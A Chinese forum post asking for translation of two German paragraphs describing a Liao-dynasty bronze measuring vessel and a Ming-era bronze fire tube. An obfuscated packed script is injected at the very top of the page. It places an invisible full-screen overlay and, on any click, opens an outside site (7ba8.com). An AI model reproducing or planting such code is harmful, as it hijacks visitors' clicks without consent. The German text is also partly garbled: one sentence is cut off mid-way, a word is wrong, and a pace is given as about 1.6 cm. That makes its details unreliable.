<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>以下是一个杂志有关两个容器或者其他器物的文字介绍， 德语只好自己的二外， 现在已经忘得差不多了， 所以请高手帮忙翻译底下两段文字，感激不尽。。。。
1.
Bronzenes Diao des Songde-Palastes (27.2 cm lang, 8.4 cm hoh und 1kg schwer), ein Norm-Mesgerat aus der Liao-Zeit, 1950 aus einem liao-zeitlichen Grab in Yixian, Provinz Liaoning, ausgegraben,. Dieses Mesgerat ist in einen oberen und einen unteren Teil getrennt, wobei der obere Teil ein Fassungsvermogen von 1047 ml und der untere ein Fassungsvermogen von 500 ml hat. In der Ausenseite des Mesgerates sind folgende Angaben eingraviert:” Hergestellt vom Songde-Palast, ein Jin schwer, den dritten Tag XXX.”
2. Huochong (Feuerrohr aus Bronze, 26.1 cm lang, Kaliber: 10 cm, Grunddurchmesser: 9.1 cm), im Jahre 1450 wahrend der Regierungsperiode Jingtai des Ming-Kaisers Dai Zong gegossen. In der Ming-Zeit gab es zwei Militaramter, die speziell fur die Erforschung und Herstellung von Huocheng und anderen Schuswaffen verantwortlich Pulversack zur Aufnahme der Ladung und des Geschosses. Am hinteren Ende des Pulvrsackes befand sich das Zundloch, durch das mit einem angewickelten gluhenden Eisen das Pulver entzundet wurde. Als Lafette diente eine Lade aus einem oder mehreren Baumsamen, in die das Rohr bis zur Halfte eingelassen und mit Eisenbanden befestigt war. Schwere Huochong (bis zu 2 m lang, 80 bis 700 kg schwere) wurden fest in die Kampfwagen eingebaut und dienten als Festungsgeschutze, wahrend leichte beim Angriff eingesetzt wurden. Die Schusweite betrug 300 bis 700 Schritte (ein Schritt=ca. 1.6 cm). In der Regierungsperiode Yongle des Ming-Kaisers Zhu Di (1403—1424) wurden die Truppen mit solchen Schuswaffen ausgerustet. |
收藏